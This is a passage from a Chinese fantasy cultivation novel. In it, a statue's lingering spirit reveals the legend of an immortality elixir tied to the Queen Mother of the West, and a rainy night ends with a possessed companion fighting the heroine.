姬源也听说过了此事:“你的意思是……此事只是他封锁狗神洞的借口?” “嗯,”金四妹道,“如今,狗神洞是螺族通往罗宝山石窟最方便的一条路,而罗宝山一直是螺族的后花园,虽有危险,但虫蛇花草的收获颇丰……尤其是石窟之中,自建成以来便屡屡天显异象,我看他要么是发现了什么稀世珍宝,要么是打算独占山中的资源!” 姬源默了默道:“我随你去。” “自然,”金四妹转过头朝她笑道,“我大业未成,怎么可能放走你?” 姬源也笑了:“走吧,我直觉石窟中有我们要找的宝贝。” “是吗?”金四妹转身继续收拾她乱七八糟的东西,“我信你,你的直觉很准……对了,为了庆祝我总算让我离开了这个破地方,你给我改个名吧。” “改名?”姬源问,“你先前不是说名字不重要,无所谓吗?” “算是一时兴起吧,不然一直叫四妹……总让我想到前边那一二三人。既然我要离开了,何必要再记得他们?” 姬源沉吟片刻,悠悠的目光望向西方:“瑶……就叫金瑶吧。” “咦,你怎么这么快想出来?” “我这几日看书,传说西方有一座来自天外的昆仑山,山上有一片瑶池,遗世独立,美轮美奂……” “行行行,就叫这个吧。”金瑶直起腰来,擦了擦额头上的汗水,用脏兮兮的手拍了拍姬源的肩膀,黑乎乎的小脸笑起来,“等我大业功成,就带你去瑶池玩!” 姬源闻言,红透透的蛇眼里流露出人性的期待。 “好。” 她们躲开盘叁的盘查潜入石窟之中,寻了一个无人的石窟安居。 罗宝山石窟也是世间难寻的洞天福地,与神秘危险的谷神森林对望呼应,异象在彼此相连的空中时不时惊显,无数生灵在无声无息之中悄然发芽、异变;有时是初春的一场冻雨,有时是梦中的一场幻觉。 金瑶在一日夜里惊醒,感应天意,领悟了真正炼制“不死之药”的办法。 “什么办法?” 曾换月听得入神,着迷又迫切地问:“究竟怎样才能做出不死之药?” 姬源空洞的眼眶看向她亮晶晶的双眼:“简单来说,是将我再变得更像蛇一些。先前我只有一双蛇的眼睛,因为蛇眼和人眼的转移较为容易;但金瑶要做的是让我长出蛇尾,也就是真正变成半人半蛇。” 大伙都听傻了。明易顿了顿道:“你变成蛇……和炼制不死之药之间有什么必然关联吗?” 姬源淡定道:“我便是炼制不死之药最重要的一味药材。” 曾换月:“啊,为何是你?” 屠芜喃喃道:“药性……” “不错,”姬源微微颔首道,“正是药性。世上的药皆有四气五味归经升降沉浮及毒性等,比如寒凉药能清热解毒……其实蛊虫蛊术也是如此,若一味药材本身没有病人所需的药性,再稀有也无用。那么,几位觉得炼制不死之药需要什么药性呢?” 顾梦真小心道:“……蛇和人的相融之处?” 曾换月摇摇头说:“是人和蛇还有妖吧?” 石映心:“那去找蛇妖不就行了。” “是哦……” “逆天而行。”屠莱冷不丁道,“需要逆天而行的药性,因为给人吃不死之药便是一种逆天而行。” 姬源点头:“不错。” “逆天而行的……药性?这太抽象了。”曾换月两眼犯晕,扶额苦笑,“搞不懂你们药修……” 屠芜自然是明白的,但依旧有个疑惑:“可为什么是蛇呢?” 姬源闻言,手腕一转,石头手上就缠上了一条眼熟的长蛇,正是她们在狗神洞中遇见的小桃蛇:“金瑶一开始也有这样的疑惑,她并非一开始就打算将我的眼睛变成蛇眼,只是后来发现蛇眼融入凡人躯壳的概率非常高。包括和其他生物相比,饲养和变异蛊蛇也更为容易。尤其是这种……” 说到这,她的视线望向边上碎掉的石雕,下一瞬雷光一闪,那些石雕又恢复成了完整的模样:“蛇纹中有三角形状的蛇。” 第227章 众人顺着她的动静望向蛇尾,果真见蛇尾上的花纹全是相互接连的三角形。屠芜问:“那这……算是什么蛇?” “不清楚。”姬源不甚在意道,“金瑶翻遍了罗宝山,才仅仅找来了这一条全身三角花纹的蛇,费尽心思将它饲养为蛊蛇之后,又用巫术将它与我融合……我便成了如今的模样,而炼制不死之药则需要我身上的血液。” “血液?”屠莱瞥了眼边上一片狼藉的地面,“你是说那些从你的蛇发中飞出来后变成毒蛇的……血液?” “只是其中之一。”姬源空洞的双眼似乎打量了几人一眼,“我的蛇发有剧毒,除了金瑶无人可解。你们没被咬伤吧?” 几人:…… 应该大概可能也许是没有的,但不知为何突然有种毛毛的焦虑感? 石映心捉住重点:“其中之一是什么意思?” “金瑶说万物有阴阳,有必死之血便会有必生之血,”姬源像女子梳发般用手顺了顺自己的石头发,“我的躯体中只有两处会有血,一是我的蛇发,流出的是必死之血;再是我的心脏,仅存一些必生之血。” 她不紧不慢地诉说着世人趋之若鹜又苦苦不寻的神药秘方: “炼制不死之药,便要这天壤之别、物极必反却未反的两种血液;二者无法融合却也无法分离,若是少了彼此的牵制,毒和药皆不能生……” 石映心因这话想起了狗神洞中的那池药水,生和死不断交替,如此才得到犹死犹生的平衡。那么毒性和药性也是这么回事吗?若是如此,能承担这份平衡的躯体一定也不同寻常。 果然,就听姬源道:“可要承担两种血液,必须要有强大的躯体。金瑶说,这种强大并非是刀枪不入的坚硬、撼天动地的蛮劲,而是一种……生生不息,死而复生的轮回之力。” 她说到这,某些人已经听不懂了,只闭上嘴着做出若有所思(假)的模样。 好在还有专业人士在,比如两位药修。 屠芜若有所思(真)道:“那么以人的躯体是远远不够的,普通的妖也不行……难道人和蛇的融合便行了?其中人和蛇的比例又要占多少呢?是否仅有你身上的那种蛇可以成功……差一分一毫的药性都是不行的。” “你说得不错,”姬源朝她赞许点头,“其中的细节也需要很多斟酌,这些都是我不明白的,但金瑶做到了,所以世上唯有她才能炼制出不死之药。” “啊,”听了不死之药的秘方,顾梦真还以为自己要发财了,“结果一般人还是做不出来嘛,条件太苛刻了,那知道了配方有什么用呢?跟守着不会下蛋的鸡似的,唉……” “配方?”姬源想到什么,“说到配方……金瑶曾说过,她要将我的躯体炼制到无限接近于女娲之身的配方。” “女娲之身?”石映心的脑袋仿佛被人敲了一下。 “咦,”曾换月摸摸下巴,“你别说,女娲还确实是人首蛇身。” 姬源微微颔首:“不错,金瑶说女娲是世上最伟大的创世神,可这样的神明却是人首蛇身、以凡人眼光来看倒像是妖怪的模样;那么她的躯体定有不为人知的神秘力量……金瑶便也想将我炼制成女娲之身。” “她虽自嘲照猫画虎,毕竟谁又见过女娲呢?”姬源说到这,几人仿佛能从她的脸上看到一抹笑容,“可我知道她不甘心,有一些天意使命般的自信在她心中,让她无法放弃。” 最后也是成功了。 故事曲折复杂,进行到这儿,也就明易还记得他们此行的目的了:“敢问阁下,不死之虫与不死之药之间可否有关联?” “不死之虫?”姬源似有些疑惑,“我没听过。” 明易便换了个问题:“或许我该问的是……石破花?” “哦,石破花。”好在这个她知道,“石破花就在这石窟之后,是由我必死之血浸染的土壤上长出的花,确实有稀奇的药效,不过并不是炼制不死之药的药材,我不过是种着玩玩。” 她这么一说,大伙就搞明白了:姬源的血液是炼制不死之药的原料,但同时需要她必死之血和必生之血两种血;石破花仅汲取了她的必死之血,药效非常有限,盘叁能炼制出不死之药也是不容易的。 “那么……”顾梦真看看屠家兄妹,又看看自家师兄妹,问了一个他个人非常在意的问题,“不死之药呢?” 见姬源看来,他又补充道:“我说的是,金瑶当年炼制的那颗不死之药……最后派上了什么用场吗?还是说……” 曾换月:“没用也过期了吧。” 顾梦真:“啧。” “吃了。”姬源理所当然道,“她一半我一半,吃掉了。” 顾梦真脸上大失所望的表情压根掩饰不住,在几人嫌弃的目光中哭哭啼啼了一会,忽然回过神来:“不对啊,你吃了不死之药怎么还死了?” 姬源一脸莫名:“谁死了?” “你啊,”顾梦真伸手一指边上的墙壁,“盘、咳,帝女之墓!我们现在不是就在你的棺材里吗?” “不错,这里是帝女之墓,”姬源轻笑了一声,“所以关我姬源什么事?” 六人:OO? 屠莱没搞懂啊:“你不正是帝喾之女帝女姬源吗?” “曾经是。”姬源坦然道,“对我来说,帝女早就死在了天雷之下……不,更早一些,是死在了被金三下蛊术的那日;是金瑶救了我,她救了我的身我的魂魄,从此之后我只是蛇妖姬源。” 哇……她这么说真叫人无法反驳。 明易试探道:“既然你未死,那此处的帝女石窟是……” “帝女石窟只是我们针对盘叁设下的陷阱。”她就这么大方承认了,“我们离开之前,金瑶效仿其他石窟,为我雕刻了一座蛇妖石雕,将我石化的妖力寄存于双眼之中镶嵌在石雕之下,只要闻到蛊虫的味道便会开启。” “我们设局哄骗来此处的族人,对盘叁送去消息,说金四妹绑走了元妃,以她之身作蛊术试验,还真的成功炼制出了不死之药……但元妃也因此死去;不过制作不死之药的宝藏和秘方依旧存在石窟之中,以此来引诱那些贪婪的蛊师来此处送死……” “妙啊。”顾梦真叹息道,“妙啊。” “所以你们真的去了瑶池吗?”石映心还记得二人的诺言呢。 姬源闻言,石头脸面扬起高兴的笑容:“那是自然。如今与你们对话的不过是金瑶封存在石雕内的一缕意识罢了。服下不死之药后,我便成为了真正的蛇妖,得到了永生。” 石映心:“你变成了永生的蛇妖,那么金瑶呢?” “她啊,”姬源却故作神秘,“我问你,人之上是什么呢?” “是……仙吧?”曾换月说,“像我们就是修仙者。” 明易轻轻摇头,看向屠莱道:“不,其实掌握了巫术的金瑶,早就以蛊术入道了,她后来的所作所为是也算是一种‘修仙’;我想她便是蛊修的最早起源者。” 屠莱颔首道:“我同意这个观点,普通人,包括普通蛊师,压根不可能学会巫术,也不可能炼制出不死之药;只是金瑶那时候没有我们修仙这样的说法罢了。” “既如此,以我们药修破境进阶的标准来看,金瑶炼制出不死之药无异于是大圆满飞升……”屠芜正色道,“她成神了。” 姬源显然很满意她们的答案,微笑颔首表示了肯定。 “等等。”曾换月忽然意识到什么,一字一句道,“炼制出不死之药……然后还住在昆仑山的瑶池中的……那不就是……” 大伙异口同声:“西王母!?” 在几人震惊又恍然的注视下,姬源却有些疑惑:“西王母……是谁?不过这些年我好似在送死的人口中听闻过此名号。” ……在她这“露头就秒”的石窟中能让她听到这称呼也是不容易的。 “不重要啦,”如今的西王母传说早就不是金瑶真实的模样了,说给姬源听估计还会让她生气无语……曾换月挥挥手道,“总之,你和金瑶把日子过好比什么都强哈……” 姬源颔首道:“挺好的。我这缕意识留在这,这些年来也杀了不少盘叁的人,想来也挺划算。如今总算等到了你们……” 屠芜忽然想起来:“对了,你说要和我们做交易?” “不错,”姬源道,“你们拿走了我的眼睛,我要你们将盘瓠和盘叁做的肮脏事宣告天下,揭露他们人皮兽心的真面目。” “这好说这好说!”顾梦真听到这容易的条件,立刻答应下来,生怕对方反悔,“那就这么说定了!” 姬源却微微歪过脑袋,看向屠家兄妹二人:“你和我说定了吗?我原以为是你们。” 屠芜方才还有些走神呢,一愣道:“我们?” 屠莱:“我也有?” “正是你们二人,”姬源说,“我闻见你们身上蛊虫的味道,里面有很微弱的螺族气息,你们是螺族的后代?” 屠莱还记得她刚才说要杀螺族蛊师的事,飞快地否认道:“不是。” 屠芜也有瞬间“她不会要杀了我们吧”的念头划过,但又直觉她是有其他的要事,因此迟疑了会,还是颔首道:“……嗯。” 屠莱:…… 好在姬源并没有生气的征兆,只是平静道:“你们要找的解药就在我的双眼之中。” “解药?”屠芜猛地抬眼,“难道是……解决螺族女子后遗症的解药?” 姬源却不答,只是漠然看着她。 第228章 “小芜,”她哥碰了碰她,“方才的故事你白听了?” 屠芜当然没有白听,只是此事已成心结,她下意识就这么想起;如今才后知后觉地明白了故事中的一切:螺族女子本就无病,是有病的螺族男子必须在二十之前娶一个女子来转移自己的病。 这么说来……她从来都没有在意过的是,说是要女子必须在二十前完婚,但与此同时,几乎所有族中的男子也在二十前就成了婚,甚至他们不比那些能拖就拖的女子,成婚的年龄往往会更小一些。 多年来她唯一遇到过的两个例外,一个是已经死去的吴家老三吴丙,还有就是自小离开螺族的……屠莱。 感受到妹妹诧异又探究的视线,屠莱自然知道她想问什么,耸肩道:“我体质特殊,你懂得。” 屠芜不懂,她一直知道她哥有事瞒着她,偏偏她也有事瞒着对方,因此双方都没有责问的资格。 “所以,”她喃喃道,“你的双眼中有解决螺族男子后遗症的解药。” 姬源:“是。” 屠芜还没咋滴,顾梦真忽然叹了口气,手掌心上变出了一对红蛇眼递到屠芜面前,神情很可惜道:“既然对你们有用,那就给你们吧。”还一副忍痛割爱的模样。 屠芜盯着他手中的蛇眼看了会,一时竟没动作;屠莱还以为她客气呢,道了声“多谢”就要伸手去拿的时候,却被妹妹捉住了手腕。他有些不解:“怎么了?这不是你梦寐以求的宝贝吗?” “对,”屠芜抿了抿唇道,“可我觉得不公平。” 屠莱一愣:“不公平?” “是啊,”屠芜冷静的声音中隐约能听出一些颤抖,“几百年来,承受怪病折磨的始终是女子,她们承担着不属于自己的痛苦,甚至自身也渐渐陷入所谓的老祖宗规矩中变得愚昧无知……如今,就这么轻易地让罪魁祸首在快活之后大病痊愈吗?” 屠莱不是不理解她的愤怒,默了默道:“犯错的人早已死去,现下还活着的大部分螺族后代都是无辜的;那些成婚的男人也不过接受了家中的安排……” “不要和我说什么无辜。”屠芜把他的手腕甩开,“说无辜谁不无辜?可有人的无辜是在获利,有人的无辜却在受苦!对,不知者不罪,可就算是无知、就算是无辜,也不能掩盖不公平!” 她说到后边有些压抑着激动,尾音在石窟中震荡开又回声来,显得在场几人的沉默非常安静。还是曾换月先表示了支持:“我同意!凭什么就这么轻松地让那些男人痊愈了?他们就算不知道那也是……” “不见得不知道。”石映心忽然冒了一句。 “不见得不知道?”被噎着的曾换月打了个嗝,茫然地看向她师姐,“这是什么意思啊师姐?” 好记性的石映心提醒几人:“我们还不知道吴丙被他亲兄弟害死的原因,我想与此事有关。屠芜,吴丙今年多大?” 屠芜怎么知道啊,蹙眉摇头道:“我不清楚……” “他今年刚满二十,”屠莱居然知道,他叹了口气,看向石映心道,“你的意思是,吴家人其实知道一些真相?” “不错,”石映心推测道,“所以要赶在……不,也有可能是吴丙已经发过一次病了,因此吴家人得知了部分真相,为隐瞒此事才将吴丙杀了。” 她说到这,屠芜突然想起来什么:“对了!吴丙他家去年就开始催促他成婚了,可翠衣在药神谷不受他们控制,而且我……是我怂恿她不要回去,拖到二十再结,她一向听我的话,本来是答应了我二十再结。” “后来大概是吴家催得不行了,她又容易心软,因此前 段时日才瞒着我回去成婚。可没想到……还是晚了。” “不晚。”石映心冷酷道,“若他没死,我们又如何得知真相?” 顾梦真张了张嘴:“照这么说……那些男人,或者起码是吴家人,他们压根不无辜啊!” “哈哈哈哈哈!”边上安静听着的姬源忽然笑起来,“不愧是螺族后代,男人都是一般货色!” “不,你说错了。”曾换月一脸“过来人”的模样,意味深长道,“是世上的男人都是一般货色。” 姬源看这些年轻的少年,失笑道:“总之我已不是俗世之人,什么货色都与我无关;如今我们交易已成,我这一缕残念心愿完满,也该离去。” 石映心问:“你要去哪?” “昆仑山,瑶池。”姬源的身影在落下的天光中如被太阳照开的泡沫,化作无数灵光碎片渐渐消散,“去她的身边……” 她就这么轻易地走了,也许早该走了;在寂寞的石窟中等待千百年,只不过是为了留下金瑶的传说。 一片狼藉的石窟中并不空荡,但短暂的安静显得有些冷清。明易先回过神来,抬头看了看天花板上落光的裂缝,朝几人道:“我们先出去?” 蛇去窟空,留在这干啥呢。 她们很快找到了出口,并且在山后头、地图所记载的位置发现了石破花。先前姬源有提点过这花有毒,所以屠芜采摘的时候非常小心。 事到如今,此行的目的似乎已经达成,但几人心中都空落落的,感觉记挂上了许多未解的难题。天色近晚,石窟中处处危险,她们打算明早再赶路回去,今晚再在石窟中呆一晚。 本是打算像昨晚一样随处找个地方歇下的,但天不作美,竟然忽然地下起雨来,六人慌张地商量起来: 顾梦真:“咋办啊,我看这雨一时半会停不了。” 明易提议道:“附近未知的石窟都有危险,不如我们回到帝女石窟中避雨?” “啊……”曾换月撇了下嘴,“里面虽然是没危险了,但到处都是石头尸体诶……” 屠芜叹气道:“这也没办法,忍过这一晚总比再遇到什么危险好。” 石映心:“我们可以待在洞口不进去。” 那还行哈。 于是大伙火急火燎地又回到了帝女石窟中,这回没进到那满是石头的棺材墓室中,而是就在洞口处避雨。没壁一会就感叹这个决定是对的,因为雨势越来越大,打在手上都有些疼。 “好冷。”屠莱又拿出了他的厚衣袍披上,怀里抱着顾梦真的火桶取暖。 明易站在洞口望了望天色,方才天边还有些亮,这雨一下就全黑下来了,外头连雨水都看不清,仿佛世间只有身后的火桶是亮的。他感到一些莫名的忧愁:“怎么会这样冷?姬源已经离开了……难道是这雨?” 曾换月紧紧挨着师姐:“不是我说啊,要不是我知道现在是八月,这冷得说是腊月我都信。” 顾梦真说话的声音都开始发抖:“是啊,好冷啊……” “大师兄,”石映心叫了声,“快进来取暖吧。” “好。”明易走进洞中,在师妹边上坐下,宽慰道,“再忍忍,过了今晚我们就能离开了。” 石映心倒没什么感觉,只是见大师兄有些忧心,她便露出靠谱稳重的笑容:“嗯,大师兄你也别多想,我们已经找到了石破花,不必再冒险了。” 明易点了点头,又问:“你的身子如何?” “早恢复好了。” “若有不适,一定要和我说。” “好。” …… 曾换月靠在师姐肩膀上,看师姐和大师兄你一句我一句说一些好像有用但又好像没用的话,莫名觉得自己很难插嘴。这种熟悉的、隐隐很难融入的感觉是……是什么来着? “咕噜噜。” 一阵突如其来的肠鸣打断了她的思绪,曾换月扒拉着师姐立起身来,有些无语道:“我怎么感觉有点饿呢?奇了怪了。我已经辟谷了啊?” 她原以为自己这么说要招惹某人笑话了,但谁知原本在那掏储物袋找东西勤奋铺窝的顾梦真也一个猛回头道:“我也是!我好想吃东西啊。” 缩在一边抱着两个火桶取暖的屠莱深呼一口气道:“不如我们吃点什么,暖暖身子?” 发呆的屠芜闻言站了起来:“我去看看附近有没有能食用的生物。” “附近?”石映心抬头看她,“外边雨这么大,你要出去吗?” 屠芜微微颔首,又补充道:“我就在边上看看,不走远。再说我也有些馋了,也许是这两日消耗太大,感觉整个人空落落的……嗐,其实我心情不大好的时候就想吃点东西。” “天色已晚,你一人去怕是有危险,”明易说着站了起来,“不如就让我……二师弟陪你去吧。” 刚铺好窝躺下来的顾梦真:? 他一边埋怨着一边站了起来:“好吧……我还以为大师兄你要陪屠芜去呢。” 明易本是有这打算的,但他想了想还是看住映心和换月她们更要紧:“辛苦你和屠芜走一趟。” 顾梦真:“好好好。” 屠芜听他嘟囔,以为他不乐意,好脾气道:“没事,我自己去就行。” “没事,我陪你去呗,顺便找找我们金花仙尊清单册子上的草药,等出了罗宝山可没这店了,既然入了宝山,我可不想空手回去……”他嘟嘟囔囔地变出两把伞来,走之前还撇了某人一眼,“谁叫你哥派不上用场呢。” 屠莱:…… 罢了,他实在是冷得不行,连说话都发着抖,更别提再和人吵架了。 屠芜瞥了眼吃瘪的哥哥失笑一声,接过伞道:“好,劳烦你了。” “哪里哪里。” 二人撑着伞走入黑沉的雨幕之中。 第229章 曾换月觉得等饭吃没事干的时候最无聊,打了哈欠,抹去眼角挤出来的泪水,恍然瞧见师姐在摸……大师兄的手? ……等等,这不对吧。 不不,这很对,估计是在二人在探查经脉,讨论修习一事。那她还是不要凑过去听好了,感觉很没意思。 这么想着,曾换月往二师兄搭好的窝上一躺——舒舒服服。 此时正在摸大师兄手的石映心:“大师兄,你的手怎么这样凉?” 明易搭在膝上的手指微微一动,但只是任由她摸着,轻声道:“你的手确实比我暖和。” 石映心这时候想起了很多话本中的片段,人家谈恋爱是怎么谈的?她一边回忆着一边拉起大师兄的手道:“我给你暖暖。” “这……”明易飞快地看了眼躺在那休息的小师妹,还有抱着火桶闭着眼睛休养生息的屠莱,嘴边的话一转,“……好,多谢你。” 其实大家说冷的时候,石映心也觉得有些冷,但她并不会觉得这冷很难受,怎么冷都很适应;甚至现在握着大师兄的手,还觉得冰冰凉凉的有些好玩。这时候她想起什么,慢慢吞吞道:“大师兄,你还记不记得金花仙尊的话?” 明易的注意力都在手上呢:“嗯?什么?” “仙尊说我们一人阳盛一人阴盛,平日可多相处贴近,有利于调整体内风水平衡,助长修为增进,很有好处的。” 明易自然还记得,但这会听着话很容易有些别的想法,他因此不愿多想,微微颔首道:“嗯,看来我们很合适……一起修炼。” 修炼?对,说到修炼:“对了大师兄,先前泉芷说,双修能以彼之阳补我之阴,以我之阴泄彼之阳,如此平衡体内真气丹田,达到阴阳两齐,化生不已的境界……” 她说着说着,很有探究的目的,一时忘记了保密:“泉芷她们鲛人族体质特殊,比寻常人阴盛阳衰,我是阳盛,和她双修时还蛮舒服的……” 明易:嗯,她果然和泉芷双修过。 “这么看来,大师兄你我是不是也能双修呢?” 明易:…… “会不会更舒服呢?” 明易:………… “大师兄?你怎么表情怪怪的?” 明易深呼一口气,扬起一个麻木僵硬的微笑:“映心,双修之法岂能是随意修的?我们已是归壹派的弟子,再修合欢宗的功法怕是会灵气错乱。你先前和泉芷双修一事就不说了,但一定下不为例……此事也不能在旁人面前提起。” 石映心明显有些失望,但因不想听唠叨,于是只是点点头表示知道了,顺便把暖和的手收了回来。 “映心……” 明易知道她不开心,正想宽慰几句,又听她说:“大师兄,你卡在元婴后期这么久,难道不想更上一层楼吗?” “……”明易不自觉地顿住,瞅她一脸无害的面孔,心中生起烦闷的无奈,本是想好声好气一些,但说出来的语气就是硬邦邦的,“你我是归壹派的剑修,就是要更上一层楼也该从剑法上精进,而不是想一些旁门左道。” 石映心睁起眼看他:“合欢宗是什么旁门左道?” 明易冷冰冰道:“不要和我玩这种言语游戏。” 石映心:个_个 明易:个个 目光之间仿佛有火花四溅,可惜不是含情脉脉的火花。 屠莱幽幽睁开眼来,用脚碰了碰边上的地铺,传密音道:“喂,你师兄师姐好像吵架了。” 曾换月翻了个身:“吵什么?” “她们设了秘法,我没听清,不过看气氛就不对。” 曾换月于是鲤鱼打了半个挺,瞅了瞅挨着坐的二人,又躺了下去,打了个哈欠道:“没事啦,估计是我大师兄又唠叨了,很正常很正常。” 屠莱瞥了眼那二人,又瞥了眼曾换月:“很正常?我见明易和石映心关系蛮好的。” “正常啊,关系好是好的……那你和你妹不吵架吗?” “……哦。” 屠莱见她们小师妹都不在意,于是继续安然地闭上眼睛取暖。 曾换月也不是心大,她们师兄妹四人就是这样的吵架模式:她和顾梦真噼里啪啦地吵,但不会冷战,吵完了就继续正常说话;大师兄和师姐冷飕飕地吵,看似气氛很不对,但谁也不会耽误正经事,接下来该咋滴还是咋滴。 总结:就事论事四人组。 没过一会儿,外出的二人淋雨归来,脸上都有欣喜的神色。睡得不踏实的曾换月跳起来热情迎接:“嘿嘿,你们带回来什么好东西了?” “菌菇。”屠芜一挥手,地上就多了一堆各样的菌菇,个个都是饱满圆润,淋了雨后看着更加新鲜。 上一顿的菌子暖锅还叫她们念念不忘呢,如今这深山老林寒天冻雨之中又能吃上一顿,真是太美了!曾换月高兴道:“太好了!吃饱好睡觉,一觉醒来就能回去啦!” “外头比里边还冷,本来还想再摘一些的,但雨越下越大就回来了……”顾梦真嘟嘟喃喃着掏出锅来搭在火桶上,这时发现难题:“咦,没水啊。” 屠莱掀起眼皮:“外头不全是雨?澄净一下就好了。” “哎呀是哦!” 他捧着锅去外头接了雨,还细心地澄净了两次,这才放在火桶上煮。煮菌菇一事自然是本地人最在行,外地人就待在边上咽口水就好。 曾换月试探地伸爪:“好了没呀?好像煮了很久了……” “不行,”屠芜抓住她的爪子,“一定要煮够时间!” “好好好……” 耐心地又等了一会,开动之前,屠芜还谨慎地拿出她的解毒丹:“以防万一,每人都吃一颗解毒丹。” 就当是尝到甜头前最后的苦,几人二话不说就接过解毒丹咽下。等锅盖一打开,香喷喷暖呼呼的雾气笼罩了六张脸,冰寒彻骨的石窟仿佛也温暖起来,此情此景竟然如此幸福。 六人美餐一顿。 就如曾换月所说,吃饱好睡觉,几人抱着沉甸甸的肚子往那一躺,不知为何一点也不觉得冷,在毕毕剥剥的火焰燃烧声中,缓缓进入了梦乡…… 哗哗啦啦。 毕毕剥剥。 哗啦啦。 “顾道友……顾道友?” 顾梦真困顿地睁开眼来,是屠芜在叫他:“哈……怎么了?” “你方才不是说要寻黄草?我知道在哪了,快起来随我去吧。” “黄草……对,”他又打了个哈欠,怎么这么困呢,“现在去吗?” “嗯,这草只在夜间出来,一到清晨便不见了。” “哈……好。”他强撑着身子站起来,转头看到师兄师妹她们都还在睡觉,揉了揉眼看向洞外,黑乎乎一片,果然还没天亮,“劳烦你还帮我记挂着这事,走吧,我们早去早回。” 屠芜似乎笑了下:“不客气。” 曾换月隐约听到些动静,睁开眼后正好瞧见顾梦真离开的身影,她本想叫住对方问他要去哪,但又看到边上睡着的同伴们,因此没叫出声,只是意识朦胧地站了起来,打算跟上去看看什么情况。 好困啊……她打了个哈欠,又觉得有些冷,抱着自己搓了搓胳膊。 那家伙到底要去哪?这大半夜的往洞里去做什么?里边虽然已经没了危险,但还有许多石头尸体呢,这家伙胆子还挺大啊…… 她就这么一边混乱地瞎想,一边不远不近地跟在顾梦真后头。偶尔会冒出加快脚步追上对方的想法,但脚仿佛不听她的使唤,再快一些就好累好累,好像八百米测试最后一百米时那种麻木的僵硬,仿佛要将她倾倒……怎么会这样呢…… 大概是这两日太累了吧?她想到这样合理的借口。 不过这家伙到底要去哪啊? “我们到底要去哪?”顾梦真看着前方带路的屠芜,感觉这条路有些熟悉,“是要去帝女棺材吗?” 屠芜头也不回道:“嗯。” “啊?你说黄草长在帝女棺材里?可是我们先前不是……”顾梦真发现自己的脑子转得好累,难道是太困了?他不太确信道,“我们不是在石窟中找了很久……可我一直没发现什么草,全是干巴巴的石头……” 屠芜:“我找的那片区域有,不过当时我不知道你要找黄草,因此没和你说。 “哦,这样啊……” 他跟着屠芜一路走到了帝女棺材处,过转角时整个人恍恍惚惚地差点要被地上横七竖八的乱石绊倒,好不容易稳住身形后,抬起头来,就见前方一片明亮,是那道裂缝洒下的光照亮了 这片漆黑的石窟。 说起来……他方才走进来的时候甚至没拿辟邪灯,山洞里这么黑,他为何看得清呢? 屠芜背对着他站在落下的光前,发丝的轮廓被光描绘出奇异的神圣,她毫无感情道:“过来。” “……啊?” “过来。” 顾梦真隐约觉得有些不对劲,恍然地甩了甩脑袋,企图让自己昏昏涨涨的脑子清醒一点,但忽然感到边上有人擦肩而过,转头一看,竟然是他的小师妹。 “……换月?” * 明易猛然醒来,山洞外的雨声响彻世间,她们居然睡得这样熟;更奇怪的是,他居然忘记了轮班守夜一事! 火桶不知何时没再生火了,明易变出灵光球来照明,环顾四周一看少了三个人,一时感到晕厥(真),连忙把映心和屠莱叫了起来。 石映心的状态还好,除了有些困之外没什么;屠莱就半死不活了,强撑着先给自己用了解毒蛊,结果发现没用,只好上猛药,使用了打鸡血虫,强行把状态拉起来。 第230章 “屠道友,”明易见状道,“这么看来我们不是中毒?” 屠莱面色沉重地微微颔首:“我原以为是睡前那锅菌子……但看来不是。这异样在我们三人身上只是犯困疲累,可小芜她们究竟发生了何事?” 石映心打了个哈欠道:“我们分头去找?” “不行。”明易下意识否决,“还是三人一起最稳妥。” 屠莱瞅了瞅二人,哪里不懂明道友的心思,很有眼力见道:“不如你们二人先去石窟里看看,我去山洞外搜寻,并不走远,若你们没发现异样再来找我?” 明易思酌一瞬:“也好,一切小心。” 屠莱:“你们也是。” 于是暂时兵分两路。石映心跟着大师兄往石窟内走,一边走一边感到大脑慢慢清醒过来,这才意识到事情的不对劲:“大师兄,我想我们很早就着道了。” 明易的眉头始终紧蹙着,闻言微微颔首:“嗯,现在想来,我们几人突然都想吃东西……这点就很奇怪,不过究竟是何时着道的?我没有思绪。” 石映心觉得大师兄大概还在被影响着,不然他也该发现的,不过她没提,只是提醒说:“应该是这雨问题,我们都淋了雨;后来屠芜和二师兄也出去淋雨了,她们二人就失踪了,换月可能是什么意外?” 明易恍然回过神来:“你说的不错……糟了,屠莱去山洞外不是又要淋雨?” “没事,”石映心拉住大师兄的手,“我想他是安全的。” “怎么说?” 其实更多是一种直觉,但石映心略一思酌便有理有据:“这场大雨的目的是想将我们困在帝女石窟中,那么他出去反而是安全的。” “映心?”明易脚步一顿,怔然望着她,“你……” “大师兄,”石映心也停了下来,伸出手去慢慢抚上明易的侧脸,声音轻缓道,“别担心,我不会让你们出事的。” 这话是什么意思?实在太不对劲了。危机的念头一闪而过,明易正要说什么,可幽暗之中望着师妹的双眼,不自觉就深深地陷入其中,一切无法可想。 石映心扶着大师兄靠着石壁坐下,转身往石窟内走去。 她心有所感,这一切都是冲她来的。 来到帝女石窟,就见她二师兄和小师妹并排在天光之下打坐,闭目的神情仿佛在做什么迷梦,但好在没有受伤;屠芜面朝着二人看着,听到动静转过身来,脸上带着一抹陌生的微笑:“你来了。” 石映心并不轻举妄动,冷静道:“你是谁?” “屠芜”笑起来:“你照一照我不就知道了?” 放在平时她就照了,但此时这么明显的陷阱她还会跳吗?“我知道你是在等我,放了我师兄师妹。” “我可不是在害她们,”“屠芜”轻松道,“你看不出来?我在帮她们精进功法,等今晚一过,这二人的修为便会更上一台阶。” 受师妹的影响,石映心的脑子里立刻冒出“养猪”二字:“你究竟想做什么?” “我要做的是有利天下的大好之事。” “既然是好事,”石映心一脸不信,“为何不正大光明地说出来?” “屠芜”一挑眉:“你照我便知道了,还会知道得比我说的更明白。” 石映心忍住自己的冲动,决心绝不照她,手上已握紧了帝血剑:“不说就不说,我也不想听,你要不想死的话就从屠芜身上下来。” 谁知“屠芜”闻言,哈哈大笑起来:“哈哈哈哈!若你不照我就打不过我,这可怎么办?” 石映心:个_个 没见过这么挑衅的,石映心不欲与其多言,拔剑就上。 她原先以为“屠芜”不会屠芜的功法,没想到迎面就是一堆雾气蒙蒙的毒粉,扭曲着化作数条毒蛇张嘴朝她扑来,剑修连忙挥剑斩去,屏住呼吸跳到一边道:“你怎么会药神谷的功法?” 蒙雾后的人影大笑起来:“因为天下功法皆由我而生!” 石映心冷哼道:“好大的口气。” “不信?”那人随手踢起地上的一块长石头,转眼将它化为一把剑的模样,“好,我来教你几招!” 她破开毒雾而来,石映心感到骇人的剑意,但并不慌张,舞剑地与她过招;帝血剑和石头剑在交错撞击中发出铮铮鸣声,凶猛的剑气震荡着石窟内的碎石颤抖摇摆。 